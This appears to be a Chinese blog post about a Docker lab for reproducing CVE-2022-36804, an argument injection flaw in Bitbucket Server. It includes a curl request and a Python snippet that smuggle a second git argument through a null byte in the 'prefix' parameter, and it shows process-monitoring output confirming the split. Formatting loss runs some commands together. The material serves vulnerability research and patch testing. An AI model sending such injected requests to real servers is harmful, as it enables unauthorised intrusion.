Bitbucket CVE-2022-36804 漏洞复现环境:预认证参数注入导致远程代码执行

张开发
2026/4/7 4:41:25 15 分钟阅读

分享文章

Bitbucket CVE-2022-36804 漏洞复现环境:预认证参数注入导致远程代码执行
Bitbucket CVE-2022-36804 漏洞复现环境本项目提供了一个完全隔离的 Docker 环境用于复现CVE-2022-36804漏洞。该漏洞是 Bitbucket Server 和 Data Center 中的一个预认证参数注入缺陷攻击者能够利用空字节 (%00) 在git archive子进程中注入额外参数最终导致远程代码执行 (RCE)。所有测试均限制在本地环境中进行。功能特性漏洞环境一键部署通过 Docker Compose 快速启动存在漏洞的 Bitbucket 7.21.0 版本实例。真实攻击链演示展示了如何通过构造包含空字节的请求向git archive命令注入额外参数。进程监控集成指导使用pspy工具实时观察容器内进程参数的变化直观验证参数拆分行为。完全隔离测试所有服务运行在本地 Docker 网络中不影响主机及其他外部系统。安装指南系统要求Docker Engine 20.10Docker Compose 2.0至少 4GB 可用内存部署步骤克隆仓库gitclone https://github.com/your-username/cve-2022-36804-lab.gitcdcve-2022-36804-lab启动环境dockercompose up-d验证 Bitbucket 版本dockerexec-itbitbucketcat/opt/atlassian/bitbucket/VERSION预期输出7.21.0使用说明漏洞复现流程1. 监控容器进程 (使用 pspy)首先进入 Bitbucket 容器并启动pspy以观察后台命令执行dockerexec-itbitbucketbashcd/tmpwgethttps://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64chmodx pspy64 ./pspy64保持pspy运行不要退出终端。2. 触发漏洞端点在新的终端中向 Bitbucket 的 REST API 发送恶意请求。prefix参数中的%00代表空字节curlhttp://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefixtest%00canaryformatzip3. 观察注入效果回到pspy运行的终端你将看到类似如下的进程创建事件/usr/bin/git archive --formatzip --prefixtest canary/ --关键观察点test和canary成为了两个独立的参数而非原本预期的test\0canary单个字符串。这证明空字节成功截断了原始参数导致 Bitbucket 将拆分后的多个参数传递给底层git archive命令。典型应用场景安全研究人员分析漏洞原理开发团队验证补丁有效性CTF 或红队训练中模拟真实攻击手法核心代码漏洞触发请求构造 (Python 示例)importrequests targethttp://localhost:7990path/rest/api/latest/projects/TEST/repos/demo/archivepayload_params{prefix:test\x00canary,# 直接插入空字节format:zip}responserequests.get(targetpath,paramspayload_params)print(fStatus:{response.status_code})Docker Compose 配置 (核心部分)# docker-compose.ymlversion:3.8services:bitbucket:image:atlassian/bitbucket:7.21.0container_name:bitbucketports:-7990:7990-7999:7999environment:-JVM_MINIMUM_MEMORY512m-JVM_MAXIMUM_MEMORY1024mvolumes:-bitbucket_data:/var/atlassian/application-data/bitbucketnetworks:-lab_networkvolumes:bitbucket_data:networks:lab_network:参数注入监控 (pspy 命令封装)#!/bin/bash# monitor.sh - 自动下载并启动 pspydockerexec-itbitbucketbash-c cd /tmp \ wget -q https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 \ chmod x pspy64 \ ./pspy64 -p -i 1000 参考文献Assetnote 博客Bitbucket Pre-Auth RCE via Git Argument InjectionCVE-2022-36804 官方条目6HFtX5dABrKlqXeO5PUv/wJQvHYd/1XqT/Vv4cdczk更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享

更多文章